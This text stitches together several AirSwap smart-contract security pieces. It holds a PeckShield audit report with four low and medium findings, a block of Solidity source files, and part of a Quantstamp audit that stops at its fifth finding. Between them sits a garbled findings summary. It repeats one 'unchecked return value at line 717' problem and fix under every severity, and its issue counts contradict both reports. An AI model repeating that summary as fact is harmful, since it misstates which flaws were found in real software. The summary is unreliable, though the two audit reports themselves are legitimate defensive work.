. . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; import "@airswap/delegate/contracts/Delegate.sol"; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "@airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol"; import "@airswap/delegate-factory/contracts/interfaces/IDelegateFactory.sol"; import "@airswap/indexer/contracts/interfaces/IIndexer.sol"; contract DelegateFactory is IDelegateFactory, ILocatorWhitelist { // Mapping specifying whether an address was deployed by this factory mapping(address => bool) internal _deployedAddresses; // The swap and indexer contracts to use in the deployment of Delegates ISwap public swapContract; IIndexer public indexerContract; /** * @notice Create a new Delegate contract * @dev swapContract is unable to be changed after the factory sets it * @param factorySwapContract address Swap contract the delegate will deploy with * @param factoryIndexerContract address Indexer contract the delegate will deploy with */ constructor(ISwap factorySwapContract, IIndexer factoryIndexerContract) public { swapContract = factorySwapContract; indexerContract = factoryIndexerContract; } /** * @param delegateContractOwner address Delegate owner * @param delegateTradeWallet address Wallet the delegate will trade from * @return address delegateContractAddress Address of the delegate contract created */ function createDelegate( address delegateContractOwner, address delegateTradeWallet ) external returns (address delegateContractAddress) { // Ensure an owner for the delegate contract is provided. require(delegateContractOwner != address(0), "DELEGATE_CONTRACT_OWNER_REQUIRED"); delegateContractAddress = address( new Delegate(swapContract, indexerContract, delegateContractOwner, delegateTradeWallet) ); _deployedAddresses[delegateContractAddress] = true; emit CreateDelegate( delegateContractAddress, address(swapContract), address(indexerContract), delegateContractOwner, delegateTradeWallet ); return delegateContractAddress; } /** * @notice To check whether a locator was deployed * @dev Implements ILocatorWhitelist.has * @param locator bytes32 Locator of the delegate in question * @return bool True if the delegate was deployed by this contract */ function has(bytes32 locator) external view returns (bool) { return _deployedAddresses[address(bytes20(locator))]; } } pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/swap/contracts/Swap.sol"; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/indexer/contracts/Indexer.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {}
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved 